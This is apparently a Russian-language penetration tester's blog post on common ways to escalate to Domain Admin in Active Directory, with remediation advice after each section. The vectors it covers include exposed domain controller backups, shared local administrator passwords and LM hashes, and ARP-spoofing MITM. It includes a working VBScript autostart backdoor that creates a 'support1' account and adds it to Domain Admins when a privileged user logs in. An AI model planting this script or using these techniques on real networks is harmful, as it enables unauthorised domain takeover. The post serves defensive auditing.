Поднятие привилегий в домене. Что может быть проще.

Поднятие привилегий в домене. Что может быть проще.
Проводя внутренние пентесты в корпоративном секторе, я зачастую сталкиваюсь с множеством проблем ИБ, которые позволяют получить привилегии Администратора каталога Active Directory . Про наиболее простые из эксплуатируемых векторов в моей практике далее в этой заметке. 1. Безалаберность На моей памяти зафиксировано уже несколько эпизодов, когда поднять привилегии в домене до уровня [Domain Adminsk удается путем получения доступа к различным бэкапам контроллера домена:) В основном отрабатывают следующие вектора: name='more'> - Простой поиск по общим сетевым ресурсам - Проблемы с Patch Management (яркий пример: использование уязвимой версии CA BrightStor ARCserve) - Хранение System state контроллера домена на уязвимом standalone-сервере - Использование брутабельных паролей на различных ресурсах сети Рекомендации по закрытию вектора самые банальные: использовать [правильноеk разграничение доступа, не хранить важные данные на серверах типа [файловых помоекk, своевременно устанавливать обновления от производителей и использовать стойкие и не повторяющиеся пароли для доступа к информационным ресурсам. 2. Беспечность В сетях с большим числом пользователей применяют механизмы простого и быстрого развертывания операционных систем на компьютерах конечных пользователей. Для этого используют заранее подготовленные образы операционных систем или возможности unattend-развертывания. И, как показывает распространенная практика, локальная учетная запись администратора на подобных компьютерах остается включенной после завершения установки операционной системы. Причем, чтобы не запутаться в паролях, на всех локальных учетных записях администраторов используется один и тот же пароль:) Безусловно, разделяют пароль для локального администратора клиентской операционной системы и серверной. А в некоторых случаях даже производят регулярную смену этого пароля, но порой даже эта мера не спасает системы от их компрометации. Уязвимость возникает в том случае, когда в SAM-базе операционной системы хранится LM-хеш от пароля локального администратора и используемый пароль не превышает 14-ти символов, либо используется брутабельный пароль на основе NTLM-хеша. Соответственно, добравшись до SAM-базы, становится возможным скомпрометировать большинство компьютеров в сети, в том числе рабочую станцию администратора домена, что фактически позволяет получить полный контроль над доменом. Нужно добавить, что в доменной архитектуре локальная учетная запись не требуется. И даже будучи отключенной, она доступна при загрузке в безопасном режиме. Подробнее: support.microsoft.com Другой пробиваемый вектор атаки заключается в том, что администраторы домена зачастую подключаются под привилегированной учетной записью на обслуживаемые ими сервера, в том числе и на тестовые, а порой даже для выполнения задач администрирования на пользовательских рабочих станциях. Таким образом, получив контроль над одним таким сервером или рабочей станцией, возможно, достаточно тривиально получить расширенные привилегии в домене. Например, следующий сценарий на vbs, будучи помещенный в автозагрузку, создаст учетную запись [support1k с паролем [P@ssw0rdk в AD и поместит ее в группу [Domain Adminsk, если на компьютер в интерактивном режиме залогинится пользователь с соответствующими привилегиями. On Error Resume Next Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN Set objSysInfo = CreateObject("ADSystemInfo") strUserDN = objSysInfo.userName Set objUser = GetObject("LDAP://" & strUserDN) If IsMember("Domain Admins") Then Set objRoot = GetObject("LDAP://rootDSE") Set objContainer = GetObject("LDAP://cn=Users," & objRoot.Get("defaultNamingContext")) Set objUser = objContainer.Create("User", "cn=support1") objUser.Put "sAMAccountName", "support1" objUser.SetInfo objUser.SetPassword "P@ssw0rd" objUser.Put "userAccountControl", 512 objUser.SetInfo Set objGroup = GetObject ("LDAP://cn=Domain Admins, cn=Users," & objRoot.Get("defaultNamingContext")) objGroup.PutEx 3, "member", Array("cn=support1, cn=Users," & objRoot.Get("defaultNamingContext")) objGroup.SetInfo End If Function IsMember(strGroup) Dim objGroupList If IsEmpty(objGroupList) Then Set objGroupList = CreateObject("Scripting.Dictionary") objGroupList.CompareMode = vbTextCompare For Each objGroup In objUser.Groups objGroupList(objGroup.sAMAccountName) = True Next End If IsMember = objGroupList.Exists(strGroup) End Function Рекомендации по закрытию вектора следующие: отключить локальную учетную запись администратора на всех доменных компьютерах, использовать учетные записи с пониженными привилегиями при выполнении задач администрирования, осуществлять мониторинг доступа к ресурсам, в том числе доступа к Active Directory (изменение членства групп, создание новых объектов и т.д.). 3. Незнание Очень эффективным методом получения расширенных привилегий в домене при проведении внутреннего пентеста по-прежнему является атака MITM и банальный снифинг всего трафика. Первый вектор это, конечно же, ARP-spoofing при котором есть место и элегантным атакам. Например, при реализации вектора атаки возможно снизить уровень проверки подлинности SMB на более простой, что позволяет легко восстановить пароль по перехваченным значениям hashes/challenge. Также, при использовании уязвимого протокола RDP, существует возможность перехватить вводимый пароль в виде открытого текста:) Второй вектор чаще всего реализуем после успешной атаки на сетевое оборудование (сеть на концентраторах уже уходит в прошлое). Например, атака на перевод порта коммутатора, к которому подключен ноутбук аудитора, в режим trunk, либо переконфигурирование оборудования через SNMP community. Рекомендации по закрытию вектора: [грамотноеk разделение сети на подсети (технологическую, пользовательскую и т.п.), настройка сетевого оборудования и Active Directory в соответствии с рекомендациями CIS, своевременная установка обновлений от производителей.
уязвимости pentest аудит vulns тест на проникновение
Alt text